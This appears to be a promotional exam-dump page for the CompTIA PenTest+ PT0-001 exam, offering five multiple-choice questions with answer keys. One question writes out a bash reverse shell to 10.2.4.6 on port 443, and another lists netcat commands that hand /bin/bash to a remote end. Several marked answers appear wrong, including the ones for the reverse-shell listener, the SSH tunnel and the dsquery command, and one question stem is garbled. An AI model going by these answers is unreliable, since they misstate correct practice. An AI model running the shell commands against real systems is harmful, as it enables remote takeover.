PT0-001 Q&As

CompTIA PenTest+ Exam

Pass CompTIA PT0-001 Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

https://www.leads4pass.com/pt0-001.html

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by CompTIA Official Exam Center

QUESTION 1

In a physical penetration testing scenario, the penetration tester obtains physical access to a laptop following potential NEXT step to extract credentials from the device?

A. Brute force the user\\'s password.

B. Perform an ARP spoofing attack.

C. Leverage the BeEF framework to capture credentials.

D. Conduct LLMNR/NETBIOS-ns poisoning.

Correct Answer: A

QUESTION 2

A tester intends to run the following command on a target system:

bash -i >and /dev/tcp/10.2.4.6/443 0> and1

Which of the following additional commands would need to be executed on the tester\\'s Linux system to make the previous command successful?

A. nc -nvlp 443

B. nc 10.2.4.6 443

C. nc -w3 10.2.4.6 443

D. nc-/bin/ah 10.2.4.6 443

Correct Answer: D

QUESTION 3

A penetration tester has compromised a system and wishes to connect to a port on it from the attacking machine to control the system Which of the following commands should the tester run on the compromised system?

A. nc looalhot 4423

B. nc -nvlp 4423 -?/bin/bash

C. nc 10.0.0.1 4423

D. nc 127.0.0.1 4423 -e /bin/bash

Correct Answer: B

QUESTION 4

A penetration tester has SSH access to a Linux server that is exposed to the internet and has access to a corporate internal network. This server, with IP address 200.111.111.9, only has port TCP 22 externally opened. The penetration tester also discovered the internal IP address 192.168.1.5 from a Windows server. Which of the following steps should the penetration tester follow to open an RDP connection to this Windows server and to try to log on?

A. Connect to the Linux server using # ssh 200.111.111.9, establish an RDP connection to the 192.168.1.5 address.

B. Connect to the Windows server using # ssh -L 3389:200.111.111.9:22 192.168.1.5.

C. Connect to the Linux server using # ssh -L 3389:192.168.1.5:3389 200 .111.111.9; RDP to localhost address, port 3389.

D. Connect to the Windows server using # ssh -L 22:200.111.111.9:3389 192.168.1.5.

Correct Answer: A

QUESTION 5

A penetration tester has a full shell to a domain controller and wants to discover any user account that has not authenticated to the domain in 21 days. Which of the following commands would BEST accomplish this?

A. dsrm -users "DN=compony.com; OU=hq CN=usera"

B. dsuser -name -account -limit 3

C. dsquery uaer -inactive 3

D. dsquery -o -rein -limit 21

Correct Answer: D